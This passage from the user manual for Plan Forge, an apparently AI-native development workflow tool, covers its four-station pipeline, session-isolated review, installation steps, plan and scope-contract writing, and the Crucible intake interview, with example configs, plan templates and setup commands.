Critical: start a brand-new chat session by clicking the + button. The reviewer must not carry context from the builder, context contamination is the most common source of missed errors.

1. Select Agent Mode
2. Attach .github/prompts/step5-review-gate.prompt.md
3. Replace <YOUR-HARDENED-PLAN> with Phase-1-HEALTH-ENDPOINT-PLAN and send

The review agent checks every change against the Scope Contract: forbidden files not touched, no architecture violations, test coverage meets MUST criteria, no scope creep. For a simple health endpoint, expect a clean PASS.

Step 6: Ship

One final session (new or continued if context allows) to commit and close out the feature:

1. Attach .github/prompts/step6-ship.prompt.md
2. The agent commits using a conventional commit message: feat(health): add GET /health endpoint
3. Updates docs/plans/DEPLOYMENT-ROADMAP.md to mark the phase complete
4. Captures a short postmortem for future sessions

# Stage everything and commit
git add -A
git commit -m "feat(health): add GET /health endpoint"
git push origin main

What Just Happened

You've completed all 4 sessions of the Plan Forge pipeline:

Session 1 (Specify & Plan)  ✓  Described the feature; AI structured the plan
Session 2 (Execute)         ✓  AI built it slice-by-slice with gates
Session 3 (Review)          ✓  Fresh AI session audited for drift and errors
Session 4 (Ship)            ✓  Committed, roadmap updated, postmortem captured

The four-session model is deliberate. Each session has a single responsibility and fresh context, the reviewer couldn't carry bias from the builder even if it wanted to. This is what makes the pipeline scale from a health endpoint to a 40-slice refactor.

What's Next

You've run the full pipeline end-to-end. The same process works for any feature, the pipeline scales with the work:

What Is Plan Forge?

The AI-Native SDLC Forge Shop. One workshop, four stations, every phase of the lifecycle.

The One-Line Answer

Plan Forge is a complete AI-native SDLC workshop. Instead of giving your AI agent a single code-generation step, it gives the agent a whole shop, four specialized stations (Smelt, Forge, Guard, Learn) connected by gates, telemetry, and persistent memory.

"A blacksmith without a shop is just a hammer in a hand."

The Four Stations

Every station handles one phase of the software lifecycle. Every station is AI-run and product-owner-supervised — you own spec, direction, and final acceptance; the shop owns build, review, supervision, defense, and learning. See The Virtual Engineering Team below for the role-by-role map.

The Virtual Engineering Team

Plan Forge isn't "AI plus a code-completion plugin." It's a full enterprise engineering shop where every traditional role is filled by a specialized agent or guardrail, governed by 40 years of software engineering practice encoded into 17+ auto-loading instruction files and 20 specialized reviewers.

Your three jobs as the human

1. Make a few technology choices once. Pick a preset (dotnet, typescript, python, etc.), declare Project Principles, set forbidden patterns. One-time, then locked.
2. Own the spec and the direction. Product Owner duties. Crucible interviews you; you decide what to build and why. The shop won't deviate from the Scope Contract you sign off on.
3. Run manual acceptance testing. Agents don't read minds. They implement what the spec says, not what you intended. A green pipeline (all tests pass, no drift, no secrets, no regressions, Forge-Master independently audited) proves the code is correct. Only you can decide whether it's what you actually wanted. That's Product Owner UAT, same as it has been for 40 years.

The Problem This Solves

AI coding agents are powerful but directionless.

They generate code fast. But fast isn't the same as good. Without a full shop around them, without scope contracts, slice gates, post-deploy guards, and institutional memory, AI-generated code tends to be untestable, insecure, architecturally inconsistent, and impossible to maintain at scale. That's fine for prototypes; it's not fine for production systems.

The 80/20 Wall — The Problem Plan Forge Solves

You've probably lived this pattern:

You fire up an AI agent, Copilot, Cursor, Claude, whatever, and describe the app you want. The first 80% is magic. Files appear, components wire up, the database schema materializes. You're shipping faster than you ever thought possible.

Then complexity creeps in. Auth flows interact with database queries. Middleware chains get long. The agent still works, but you notice it's making assumptions without asking, it picked a caching strategy you wouldn't have chosen, refactored code from three sessions ago that was working fine.

Then the wall. Every change breaks something else. Fix the auth bug, break the dashboard. Fix the dashboard, break the API response format. The agent is confidently producing code that compiles but doesn't work. You're debugging AI-generated code you don't fully understand, in an architecture you didn't fully choose.

The pattern everyone hits: prompt → hope → fix → re-prompt → hope harder.

The four-phase trajectory

Plotted as completion vs. confidence, the failure mode is consistent across teams and tools:

1. 0 → 50% (greenfield rush), Empty repo, clear scope, every prompt produces working code. Confidence is high; the codebase has no constraints to violate yet.
2. 50 → 80% (complexity creeps), The agent starts making undiscussed architectural decisions. Caching strategy, error-handling pattern, schema shape, all chosen mid-stream. Most still works, but the codebase now has invisible commitments the agent doesn't track.
3. 80% → the wall (every change breaks something), Each fix introduces a regression somewhere else. The agent's previous decisions become constraints on its current decisions, but it doesn't remember them. You spend more time debugging than building.
4. 100% (maybe just start over), The codebase is structurally tangled in ways the agent can't unwind. Many teams quietly restart from scratch, cheaper than fixing the architectural debt.

The fix is the full shop: Smelt before the agent writes a line of code, Forge the scope so it can't drift, Guard what ships, and Learn with a memory that carries decisions forward.

Vibe coding gets you a prototype. Plan Forge gets you a product.

Longer narrative version with the failure stories: The 80/20 Wall: Why AI Agents Break What They Build.

What Happens Without the Shop

Without the shop, AI coding agents:

If you've managed human dev teams, you know guardrails aren't about distrust, they're about consistency. The same principle applies when your team members are AI models.

• Silently expand scope, "I'll also add..." (you didn't ask for that)
• Make undiscussed decisions, picks a database pattern without telling you
• Skip validation, ships code that doesn't build or pass tests
• Lose context, forgets requirements halfway through long sessions
• Never self-audit, the executor grades its own exam
• Have no post-deploy defense, secrets, drift, and regressions land in prod unseen

These problems get worse the less technical your team is, you may not even notice the drift until it's too late.

What Plan Forge Does

Plan Forge is an AI-native SDLC workshop, four stations connected by gates, telemetry, and memory, that converts your rough ideas into shipped, defended, remembered software. It installs guardrail files, MCP tools, reviewer agents, and a live dashboard into your project so every AI edit happens inside the shop, not next to it.

The Blacksmith Analogy, Extended

A blacksmith doesn't hand raw iron to a customer. They heat it, hammer it, temper it, and, in a real shop, the master smith watches it ship, remembers which blades broke, and sharpens the process for next time.

Plan Forge does the same for your development plans:

Who This Is For

Solo Developers

You're using Copilot or Claude to build features, but you've noticed the AI drifts when sessions get long. You spend time re-explaining your patterns. Plan Forge gives you a repeatable pipeline that remembers your standards, validates at every step, and catches the mistakes you'd normally catch in code review, except there's no reviewer. You are the team.

Development Teams

Your team uses AI tools but everyone gets different quality results. Junior devs get code that works but violates your architecture. Senior devs spend review cycles catching AI-generated antipatterns. Plan Forge makes the architecture the default, instruction files load automatically, validation gates enforce build+test, and the reviewer-gate agent catches drift before anyone opens a PR.

Enterprise & Regulated Environments

You need audit trails, consistent architecture, and code that meets compliance standards. Plan Forge gives you phase-level tracking (DEPLOYMENT-ROADMAP.md), per-slice cost accounting, OTLP telemetry, and 19 independent reviewer agents, including compliance, security, and multi-tenancy auditors that run automatically. Every execution has a trace.

Plan Forge Is / Plan Forge Is Not

Positioning matters more than features when an entire category is in motion. The shortest answer is paired: what Plan Forge claims to be, and the closest things it deliberately is not.

Evidence — A/B Test Results

The shop story is testable. The April 2026 .NET A/B test built the same WebAPI twice from an identical .NET 10 skeleton (same git commit baseline) using the same model (Claude Opus 4.6) on the same machine. One run used Plan Forge guardrails; the other used pure vibe coding. Comparable wall-clock time, 7 minutes for Plan Forge, 8 minutes for vibe coding (the extra minute went to fighting build errors).

The vibe run spent its extra minute fighting build errors caused by an EF Core InMemory misconfiguration that the model had to diagnose, backtrack, and fix at the cost of sacrificing a requirement (banker's rounding). That rework cycle is invisible in a demo; at scale it is the dominant cost.

Full A/B test write-up with code samples, methodology, and links to both repositories: The A/B Test: 99 vs 44 — Same App, Same Model, Same Time.

How to Read This Manual

This manual follows the four stations of the shop:

• Act I: Smelt (Chapters 1–5): What Plan Forge is, how the shop works, installation, writing plans, and the Crucible for community-contributed ideas. Start here if you're new.
• Act II: Forge (Chapters 6–15): Hands-on building, your first plan, the dashboard, CLI, customization, instructions & agents, MCP tools, extensions, multi-agent, advanced execution, troubleshooting.
• Act III: Guard (Chapters 16–20): LiveGuard mental model, all 14 tools, and the dashboard, plus the Watcher (read-only tail of another project's run) and the Remote Bridge (phone-friendly approvals via Telegram, Slack, Discord, OpenClaw).
• Act IV: Learn (Chapters 21–24): The Bug Registry, the Testbed, Health DNA, and three-tier memory architecture, how the shop remembers.

📄 Full reference: README on GitHub

How It Works

Tour of the Forge Shop: four stations, the gates between them, and the sessions that keep them honest.

The Four Stations

Plan Forge is not one step, it's a workshop. Every change to your code flows through four stations, each with its own tools, its own artifacts, and its own gate to the next station.

The stations are connected by gates, Smelt won't hand the plan to Forge until the Scope Contract is crisp; Forge won't ship code until slice gates are green; Guard won't approve a deploy until secret-scan + env-drift are clean; Learn absorbs everything and feeds it back into Smelt for the next plan.

The Loop That Never Ends

Drawn linearly, Plan Forge looks like a 7-step pipeline. Drawn honestly, it's a closed loop. Every failed test, every regression caught by tempering, every placeholder spotted by a discovery scan re-enters the Smelt station as a new ore, auto-smelted into a Crucible idea, hardened into a slice, executed, and re-tested. The loop only pauses when there's nothing left to find.

The 7-Step Pipeline (Inside the Forge)

The Forge station, where raw scope becomes shipped code, runs a 7-step pipeline. Steps 0–2 happen in Smelt, steps 3–6 happen in Forge, step 6 hands off to Guard and Learn.

You describe what you want (Step 0, Smelt). The AI creates a spec. A pre-flight check verifies your setup (Step 1, Smelt). The plan gets hardened into a binding scope contract with slices, gates, and forbidden actions (Step 2, Smelt), this is when Smelt hands off to Forge. The AI builds it slice by slice, validated at every boundary (Step 3, Forge). A completeness sweep eliminates stubs and TODOs (Step 4, Forge). A fresh session audits everything (Step 5, Forge). The shipper commits, LiveGuard runs its pre-deploy scan (Step 6, Guard), and OpenBrain captures lessons (Step 6, Learn).

Sessions and Why They Matter

The executor shouldn't self-audit, that's like grading your own exam. Each session starts fresh, loads the same guardrails, but brings independent judgment. Session 3 (Review) has never seen the code being written, it reads the plan, reads the code, and checks for drift. Session 4 is when Guard and Learn take over: LiveGuard does its pre-deploy scan, OpenBrain writes the lessons.

Why Session Isolation Works

The grading-your-own-exam analogy above is the short version. Three concrete mechanisms make session isolation a structural requirement rather than a stylistic preference:

1. Sunk-cost bias is a property of the context window

The session that wrote the code will defend it. Not because the model is stubborn, because the bad code and the proposed fix live in the same token sequence. The model's belief that the code is correct is encoded in the same context that produced it; the model literally cannot evaluate the code from a position of "I have not seen this before." A fresh session reads the same code without any prior commitment to it.

2. Context contamination clouds review judgment

Build sessions accumulate context as they work, rejected approaches, half-considered alternatives, partial refactors. By the time the session finishes, its reasoning is shaped by paths it considered but didn't take. A reviewer in the same session inherits all of that as background noise. A reviewer in a fresh session sees only the final code, against the original plan, with no memory of the rabbit holes.

3. Fresh-context reviews catch blind spots the build session is structurally unable to see

Some bugs are only visible from outside the build session's mental model. A naming inconsistency, a forgotten edge case, an architectural violation that the build session rationalized in the moment, these surface immediately to a reviewer that didn't participate in the rationalization. The build session is not lying; it cannot see what is invisible from inside its own context.

The v2.18 Temper Guards and Warning Signs system codified the failure modes that emerged from this pattern, the specific shortcuts agents take that produce compiling but architecturally broken code. Each instruction file now teaches agents not just what to do but why not to skip it. Session isolation is the structural defense; Temper Guards are the named anti-patterns it catches.

Source material: The 80/20 Wall and Guardrails Lessons Learned. The grading-your-own-exam analogy is adapted from Lesson 3.

The File System

After setup, Plan Forge installs four types of files into your .github/ directory:

.github/
├── instructions/          ← Rules (auto-load by file type)
│   ├── architecture-principles.instructions.md
│   ├── security.instructions.md
│   ├── testing.instructions.md
│   ├── database.instructions.md
│   └── ... (14–18 files per preset)
├── agents/                ← Reviewer personas (read-only audit)
│   ├── architecture-reviewer.agent.md
│   ├── security-reviewer.agent.md
│   └── ... (12 agents)
├── prompts/               ← Pipeline templates (attach in chat)
│   ├── step0-specify-feature.prompt.md
│   ├── step2-harden-plan.prompt.md
│   └── ... (7 pipeline + scaffolding)
├── skills/                ← Multi-step procedures (slash commands)
│   ├── security-audit/SKILL.md
│   ├── forge-execute/SKILL.md
│   └── ... (11 skills)
├── hooks/                 ← Lifecycle automation
│   ├── sessionStart.sh
│   └── postToolUse.sh
└── copilot-instructions.md  ← Master config file

How Guardrails Auto-Load

Each instruction file has an applyTo pattern in its YAML frontmatter. When you edit a file that matches the pattern, the instruction file loads automatically into the AI's context:

---
description: Security best practices
applyTo: "**/auth/**,**/security/**,**/middleware/**"
---

When you open src/auth/token-validator.ts, the security instruction file loads. When you open src/models/User.ts, the database instruction file loads. No manual action needed, the AI reads the right rules for the right code.

The .forge.json Config

This file stores your project's Plan Forge configuration:

{
  "preset": "dotnet",
  "modelRouting": {
    "default": "claude-sonnet-4.6",
    "execute": "grok-4",
    "review": "claude-opus-4.7"
  },
  "escalationChain": ["grok-4", "claude-opus-4.7", "gpt-5.2-codex"],
  "quorumThreshold": 6
}

Key settings: which preset was used, which models to use for each role (execution vs review), the escalation chain when a model fails, and the complexity threshold for quorum mode.

Plans Are Markdown

A plan is just a .md file with structure. It lives in docs/plans/ and follows a template. Here's the minimal skeleton:

# Phase 1, User Authentication

## Scope Contract
**In Scope**: src/auth/**, src/middleware/auth*, tests/auth/**
**Out of Scope**: frontend, deployment, CI
**Forbidden Actions**: Do NOT modify src/database/migrations/

## MUST Criteria
- [ ] JWT token generation and validation
- [ ] Role-based access control (admin, user)
- [ ] Password hashing with bcrypt

## Execution Slices

### Slice 1, Auth Models + Migration [30 min]
**Tasks**: Create User model, JWT service
**Gate**: `dotnet build` passes, `dotnet test` passes
**Stop if**: Build fails or migration errors

### Slice 2, Auth Middleware [30 min]
**Tasks**: JWT validation middleware, role decorator
**Gate**: `dotnet test`, 6+ tests pass
**Stop if**: Any existing test regresses

The AI reads this contract and follows it literally. Slices are checkpointed, the gate at the end of each slice must pass before proceeding to the next.

Slices, Gates, and Scope

These are the three building blocks of every plan:

Three Ways to Run the Pipeline

The same pipeline can run three different ways. Pick the one that matches your tools:

All three produce identical results. The guardrails, validation gates, and pipeline steps are the same, only the delivery mechanism differs.

📄 Full reference: Multi-Agent Setup — GitHub Copilot, capabilities

Installation

Zero to pforge smith green in 10 minutes.

Prerequisites

Clone https://github.com/srnichols/plan-forge into a temporary directory. Read its AGENT-SETUP.md file completely and follow the instructions exactly:

1. Scan THIS project's root directory and auto-detect the tech stack from marker files (*.csproj = dotnet, go.mod = go, package.json + tsconfig.json = typescript, pom.xml = java, pyproject.toml = python, *.bicep = azure-iac). If multiple stacks exist, combine them.

2. Detect which AI tool is running this prompt and set the -Agent flag:
   - GitHub Copilot → -Agent copilot (default, can omit)
   - Claude Code → -Agent claude
   - Cursor → -Agent cursor
   - Codex CLI → -Agent codex
   - Not sure → -Agent all (installs all agent formats)

3. Run the Plan Forge setup script non-interactively:
   .\setup.ps1 -Preset <detected> -Agent <detected-agent> -ProjectPath "." -ProjectName "<this folder name>" -Force

4. After setup completes, customize the generated files:
   - Edit .github/copilot-instructions.md with this project's actual name, tech stack, build/test/lint commands, and architecture
   - If CLAUDE.md was generated, verify it looks correct
   - Edit docs/plans/DEPLOYMENT-ROADMAP.md with a first phase placeholder

5. Run .\pforge.ps1 smith to inspect the forge and confirm all checks pass.

6. If pforge-mcp/server.mjs was installed, run: cd pforge-mcp && npm install (activates the forge MCP tools).

7. If specs/ or memory/constitution.md exist (Spec Kit project), note that Step 0 will auto-detect and offer to import them.

8. Call forge_capabilities to verify all tools are available and discover workflows, config options, and OpenBrain memory integration.

9. Show me a summary of what was installed and any issues found.

Option A: Clone & Setup

The fastest path, clone the repo and run the setup wizard:

git clone https://github.com/srnichols/plan-forge.git my-project-plans
cd my-project-plans
.\setup.ps1 -Preset <your-stack>

This installs all guardrails, agents, prompts, skills, and MCP tools into your project. See the preset list below.

Option B: Setup Wizard

Clone the template and run the setup wizard:

git clone https://github.com/srnichols/plan-forge.git my-project-plans
cd my-project-plans

# Interactive, the wizard asks which preset
.\setup.ps1

# Or specify directly
.\setup.ps1 -Preset dotnet

chmod +x setup.sh
./setup.sh --preset typescript

The wizard detects your tech stack (or uses the preset you specify), creates .github/ with instruction files, agents, prompts, skills, and hooks, generates .forge.json, and sets up .vscode/settings.json.

Choosing Your Preset

Nine presets, each tailored to a tech stack. Each installs ~18 instruction files, 12 agents, 11 skills, and 8 pipeline prompts.

What Just Happened?

After setup completes, your project has:

.github/
├── instructions/     ~26 files  (architecture, security, testing, database, ..., 18 preset + 8 shared)
├── agents/           19 files  (6 stack-specific + 7 cross-stack + 5 pipeline + 1 audit-classifier)
├── prompts/         ~23 files  (15 preset + 8 shared pipeline: project-profile + step0–step6)
├── skills/           11 dirs   (varies by preset: dotnet 11, typescript 10)
├── hooks/             5 items  (PreDeploy.md, PreCommit.mjs, PreAgentHandoff.md, PostSlice.md, plan-forge.json)
└── copilot-instructions.md     (master config)

.forge.json                     (project configuration)
.vscode/settings.json           (Copilot settings)
docs/plans/
├── DEPLOYMENT-ROADMAP.md       (phase tracker)
└── AI-Plan-Hardening-Runbook.md (methodology reference)
pforge.ps1 / pforge.sh          (CLI scripts)

Verify with pforge smith

The Smith inspects your forge, environment, VS Code config, setup health, version currency. Run it to confirm everything is green:

.\pforge.ps1 smith

╔══════════════════════════════════════════════════════════════╗
║       Plan Forge, The Smith                                 ║
╚══════════════════════════════════════════════════════════════╝

Environment:
  ✓ git 2.44.0
  ✓ code (VS Code CLI) 1.99.0
  ✓ PowerShell 7.5.0
  ✓ node 22.3.0

VS Code Configuration:
  ✓ chat.agent.enabled = true
  ✓ chat.promptFiles = true

Setup Health:
  ✓ .forge.json valid (preset: dotnet, v2.17.0)
  ✓ 21 instruction files (expected: ≥17 for dotnet)
  ✓ 19 agent definitions
  ✓ copilot-instructions.md exists

────────────────────────────────────────────────────
  Results:  10 passed  |  0 failed  |  0 warnings

Multi-Agent Setup

Plan Forge works primarily with VS Code + GitHub Copilot. But if you also use Claude Code, Cursor, Codex, Gemini, or Windsurf, add their adapters during setup:

# Add Claude Code support
.\setup.ps1 -Preset dotnet -Agent claude

# Add all agent adapters at once
.\setup.ps1 -Preset dotnet -Agent all

See Chapter 13: Multi-Agent Setup for detailed configuration per agent, feature parity matrix, and quorum mode.

Updating

When a new Plan Forge version is available, pforge smith will tell you. Update without re-running the full setup:

# Preview what would change
.\pforge.ps1 update --dry-run

# Apply updates
.\pforge.ps1 update

Updates replace framework files (pipeline prompts, shared instructions, hooks) but never touch your customized files (copilot-instructions.md, project principles, plan files, .forge.json).

📄 Full reference: Multi-Agent Setup, Quick Start on GitHub

Writing Plans That Work

Here's what works and here's what breaks.

Plan Structure

Every hardened plan has these mandatory sections. The plan-hardener agent adds them automatically during Step 2 (or the Crucible interview adds them upstream during Smelt), but you should understand what each does and how to edit them:

CRITICAL_FIELDS Gate v2.82.1+

Plans created via the Crucible smelter are now blocked from finalizing until every CRITICAL_FIELD is filled in. This eliminates the entire class of "TBD-laden plans that compile but can't run."

If any CRITICAL_FIELD is missing, forge_crucible_finalize returns 409 with CRITICAL_FIELDS_MISSING and a criticalGaps[] array pointing at the unresolved fields. The Crucible interview adds a question for each missing field automatically, the feature lane now asks 7 questions (was 6); the tweak lane asks 4 (was 3).

The build/test commands are inferred from your repo when possible (via inferRepoCommands, checks package.json, *.csproj, pyproject.toml, Cargo.toml, etc.) so most projects don't have to type them by hand.

Writing a Good Scope Contract

The scope contract is the most important section. It tells the AI exactly what files it can touch, and what's off-limits.

Good: Tight Scope

## Scope Contract
**In Scope**: src/services/UserService.cs, src/repositories/UserRepository.cs,
              tests/services/UserServiceTests.cs, tests/repositories/UserRepositoryTests.cs
**Out of Scope**: frontend/**, deployment/**, docs/** (except this plan)
**Forbidden Actions**:
- Do NOT modify src/database/migrations/ (migration is a separate phase)
- Do NOT change AppSettings.json connection strings
- Do NOT add NuGet packages without explicit approval

Bad: Loose Scope

## Scope Contract
**In Scope**: anything related to users
**Out of Scope**: nothing specific
**Forbidden Actions**: don't break things

"Anything related to users" gives the AI free rein to refactor 20 files. "Don't break things" isn't enforceable. Be specific about paths, and list forbidden actions as concrete file patterns. That's how you get lasagna code, clean layers, each with a purpose, instead of spaghetti where everything touches everything.

Slicing Strategy

Before the rules, the worked example. The same feature, add a User Profile endpoint, planned two ways:

Slice 1, Add User Profile feature           [≥90 min, unbounded]
  • Database migration
  • Repository
  • Service
  • Controller
  • Tests

When the gate fails you have no idea which layer broke, the migration can't roll back cleanly without nuking the service work, and the reviewer is reading a 12-file diff with no checkpoint to anchor against.

Slice 1, Migration + model                  [30 min]
Slice 2, Repository + unit tests            [45 min]
Slice 3, Service + business-logic tests     [60 min]
Slice 4, Controller + integration tests     [45 min]

Each slice ends at a real checkpoint. A migration failure stops Slice 1 cleanly. A controller bug at Slice 4 doesn't touch the migration in Slice 1. The reviewer reads four small diffs, each scoped to one architectural layer.

Slices are 30–120 minute chunks of work. Each slice should produce a commit-worthy change, the "one PR" rule.

Rules of Thumb

• One layer per slice, don't mix database migration with API controller in the same slice
• Build on foundations, create the model/migration first, then the repository, then the service, then the controller
• Tests with the code, include tests in the same slice as the code they test (not a separate "add tests" slice at the end)
• 30 minutes minimum, slices shorter than this have too much gate overhead
• 120 minutes maximum, slices longer than this accumulate too much risk before the next checkpoint

Example: 6-Slice Plan

Slice 1, Database migration + model           [30 min]
Slice 2, Repository + unit tests               [45 min]
Slice 3, Service layer + business logic tests   [60 min]
Slice 4, API controller + integration tests     [45 min]
Slice 5, Error handling + edge case tests       [30 min]
Slice 6, Documentation + cleanup                [30 min]

Validation Gates

Gates are the quality checkpoints between slices. A gate must be a concrete, executable command, not a human judgment call.

Good Gates

**Gate**:
  dotnet build                              # zero errors
  dotnet test --filter "UserProfile"        # 6+ tests pass
  grep -rn "string interpolation" src/      # zero hits (security)

Bad Gates

**Gate**: "tests pass"           ← Which tests? How many?
**Gate**: "code looks clean"     ← Not executable
**Gate**: "review the changes"   ← Human-dependent, blocks automation

Parallel Execution

Mark slices that can run concurrently with the [P] tag. Add dependency declarations when slices must run in order:

### Slice 1, Database Migration [30 min]
...

### Slice 2, Repository Layer [P] [depends: Slice 1] [scope: src/repos/**]
...

### Slice 3, Service Layer [P] [depends: Slice 1] [scope: src/services/**]
...

### Slice 4, API Controller [depends: Slice 2, Slice 3]
...

Slices 2 and 3 both depend on Slice 1 (the migration) but are independent of each other, they run in parallel. Slice 4 waits for both to finish. The orchestrator builds a DAG (directed acyclic graph) and schedules accordingly.

Stop Conditions

Stop conditions tell the AI when to halt instead of trying to work around a failure:

**Stop if**: Build fails with compilation error
**Stop if**: Any existing test regresses (not just new tests)
**Stop if**: Migration produces data loss warning
**Stop if**: Security scan finds HIGH or CRITICAL vulnerability

Without stop conditions, the AI may try to "fix" a build failure by removing code, or skip a failing test by commenting it out. Stop conditions force it to report the problem instead of hiding it.

Context Files

Each slice can list which instruction files are relevant. Don't load all 18, load only what's needed:

### Slice 1, Database Migration
**Context**: database.instructions.md, security.instructions.md

### Slice 4, API Controller
**Context**: api-patterns.instructions.md, auth.instructions.md, errorhandling.instructions.md

This keeps the AI's context window focused. A database slice doesn't need caching instructions; a controller slice doesn't need migration patterns.

Common Mistakes

Plan Templates

Eight language-specific plan examples ship with Plan Forge. Use them as starting points:

All examples live in docs/plans/examples/.

For a Design Patterns-style catalog of 25+ plan archetypes — database migrations, refactors, multi-service rollouts, bug sweeps, and more, each with a skeleton template — see Appendix Y — Plan Pattern Library.

📄 Full reference: AI-Plan-Hardening-Runbook.md on GitHub

Crucible — The Idea Smelter

The Crucible is the intake interview for Plan Forge. You bring a rough idea ("add user profile editing") and the smelter walks you through 4–12 questions, then writes out a complete Phase plan that's ready for the Forge to execute.

How It Works

The Crucible has three sizes (called lanes) that scale the interview to the size of the change:

• tweak, 4 questions. For version bumps, config tweaks, doc edits, small fixes.
• feature, 7 questions. The default. For new endpoints, new tools, new services with a handful of slices.
• full, about 12 questions. For architectural changes that touch three or more top-level modules.

You can pick a lane explicitly, or let Crucible infer one from your raw idea (it looks for keywords like "bump" or "refactor subsystem"). When the interview ends, Crucible writes docs/plans/Phase-NN.md and hands it off to the Plan Hardener (Step 2 of the pipeline).

Why Smelt Before Hardening?

The Plan Hardener (Step 2) assumes you already know what you want to build. Crucible exists because most of the time, you don't, not precisely enough for a hardened plan. The smelter enforces three things:

• A stable phase name, an atomic claim prevents two parallel agents from both creating "Phase 17".
• A minimum set of answered questions, lane-scaled (4 / 7 / ~12) so trivial tweaks don't get full-feature ceremony.
• A provenance stamp, every plan carries crucibleId, lane, and source in its frontmatter so downstream gates can audit how it got here.

The Three Lanes

Crucible scales its interview to the size of the change. Pick (or let the server infer) one of:

The Interview Loop

Crucible streams one question at a time. You answer, it writes the answer to the smelt's JSONL record, then it computes the next question. Six MCP tools drive the loop:

forge_crucible_submit  { rawIdea, lane? source? }      → { id, firstQuestion }
forge_crucible_ask     { id, answer, questionId? }      → { nextQuestion | done: true }
forge_crucible_preview { id }                            → { draft, criticalGaps[] }
forge_crucible_finalize{ id, overwrite? }                → { phaseName, planPath, hardenerHandoff }
forge_crucible_list    { status? }                       → [ smelts … ]
forge_crucible_abandon { id, reason? }                   → { ok }

Optional questionId on ask: pass the question id you're answering. If it doesn't match the server's pending question id, the call returns 409 with ASK_QUESTION_MISMATCH and an { expected, got } payload. Multi-turn LLM clients that fall out of sync get a loud failure instead of silent answer corruption.

Build/test command inference: when the build-command or test-command questions come up, the interview pre-fills suggestions via inferRepoCommands, it inspects package.json scripts, *.csproj, pyproject.toml, Cargo.toml, go.mod, etc. You usually just confirm.

Finalize writes docs/plans/<phaseName>.md with the answer-derived draft and emits crucible-handoff-to-hardener on the hub so the dashboard (and downstream agents) can pick up the plan for Step 2.

CRITICAL_FIELDS Gate v2.82.1+

Crucible refuses to finalize a smelt with placeholder TBDs. The gate checks six fields; any unresolved field is a hard block:

Finalize behavior with gaps

If any field is missing, forge_crucible_finalize returns:

• MCP tool: { ok: false, code: "CRITICAL_FIELDS_MISSING", criticalGaps: [{ field, reason, hint }, …] }
• REST: 409 Conflict with { criticalGaps[], unresolvedFields[], hint: "call /api/crucible/preview" }

The preview tool returns the same criticalGaps[] structure without trying to write a plan, so LLM agents can self-correct.

Plan-already-exists protection

If docs/plans/<phaseName>.md already exists and is non-empty, finalize refuses to overwrite a hand-authored plan:

• A side-by-side <phaseName>.crucible-draft.md is written so the smelt's draft is preserved
• MCP tool: { ok: false, code: "PLAN_ALREADY_EXISTS", phaseName, planPath, draftPath }
• REST: 409 Conflict with the same payload
• Pass overwrite: true on either surface to bypass, the previous plan moves to <phaseName>.replaced-<timestamp>.md

Recursion Guardrails

A smelt can spawn a child smelt, useful when answering a question reveals a sub-feature that itself needs its own phase. The server enforces a maximum recursion depth (default 1, configurable up to 3) so a runaway agent cannot chain smelts indefinitely.

Child smelts inherit parentSmeltId and appear linked in the dashboard. The parent can reference the child's crucibleId in its frontmatter so the audit chain stays intact.

Enforcement Gate

The crucible-enforce gate refuses to accept any plan under docs/plans/Phase-*.md without a crucibleId. There are exactly three legitimate ways to satisfy it:

1. Finalize a smelt, the normal path. Frontmatter is written automatically.
2. Grandfather migration, on first run after upgrade, existing phase files get a synthetic crucibleId: grandfathered-<uuid> and a row in .forge/crucible/manual-imports.jsonl.
3. Manual import, pforge run-plan --manual-import path/to/plan.md stamps a synthetic imported-<source>-<uuid> id and logs the bypass. Reserved for Spec Kit imports, offline drafts, and genuine emergencies.

Spec Kit Coexistence

Spec Kit users import external specs regularly. Crucible treats those imports as a first-class path:

pforge run-plan --manual-import docs/plans/imported/Phase-from-speckit.md \
                 --source speckit \
                 --reason "Imported from Spec Kit session 2026-04-15"

The gate writes frontmatter with source: speckit and appends an audit row. The Spec Kit importer does not require a full interview, it trusts that the external spec already carried equivalent structure.

Dashboard Integration

Two tabs expose Crucible's state:

• 🔥 Crucible tab, live list of in-progress smelts, the active interview prompt, and a draft preview that updates as answers are recorded. A "Hardener ready" notice appears after finalize.
• 🛡 Governance tab, read-only view of docs/plans/PROJECT-PRINCIPLES.md, .github/instructions/project-profile.instructions.md, and .github/instructions/project-principles.instructions.md, plus the full manual-import audit log. Edits happen in your editor; this tab is intentionally non-editable.

Config Tab Fields

The Config tab's Crucible section persists to .forge/crucible/config.json. All writes go through a sanitizer that drops unknown fields and snaps numbers to safe bounds, so no UI bug can corrupt the file.

Troubleshooting

"Plan rejected: missing crucibleId"

Expected. Either finalize a smelt, re-run setup to trigger grandfather migration, or use --manual-import with a --reason.

CRITICAL_FIELDS_MISSING on finalize v2.82.1

Call forge_crucible_preview to see criticalGaps[] with { field, reason, hint } for each missing answer. The interview will queue a question for each gap when you call ask next.

PLAN_ALREADY_EXISTS on finalize v2.82.1

Read the existing plan at planPath and the smelt's draft at draftPath before deciding. If you genuinely want to replace the existing plan, call finalize again with overwrite: true; the original moves to <phaseName>.replaced-<timestamp>.md.

ASK_QUESTION_MISMATCH v2.82.1

Your client passed a questionId that doesn't match the server's pending question. Re-fetch state via forge_crucible_preview (returns the active question) and retry. Common when two LLM clients drive the same smelt out of order.

"STALE_PRINCIPLES" warning on every smelt

Your Principles file changed after the smelt started. Read it, then resume or abandon. If you consistently hit this, raise staleDefaultsHours in Config.

Recursion blocked at depth 1

By design. If you genuinely need deeper chains, bump recursionDepth in Config. Three is the hard ceiling, beyond that, extract a separate Phase.

Governance tab shows empty file list

You haven't created docs/plans/PROJECT-PRINCIPLES.md yet. Run /project-principles in Copilot chat, or create the file manually.

Downstream extensions

Crucible's downstream surfaces have grown beyond the original chapter. None of these change the core interview → plan → hardener flow above; they extend it with feedback loops the rest of the system uses:

• Classifier feedback loop. A finalized smelt that later produces a tempering finding can be routed via forge_classifier_issue when the finding turns out to be classifier noise rather than a product bug, closing the audit loop.
• Drain round-loop. The forge_tempering_drain round-loop (Ch 21 Audit Loop) re-probes a plan's gates until convergence, surfacing residual Crucible STALE_PRINCIPLES warnings as actionable findings rather than transient noise.
• Knowledge graph enrollment. Every Crucible smelt lands as a Phase / Slice node in the knowledge graph, so forge_patterns_list's detectors can spot Crucible-stage anti-patterns alongside execution-stage ones.

Further Reading

• Chapter 2 — How It Works (Crucible's place in the 6-stage pipeline)
• Chapter 4 — Writing Plans That Work (what a hardened plan looks like after smelt → harden)
• Chapter 11 — MCP Server & Tools (the forge_crucible_* tool surface)

Spec Kit Interop

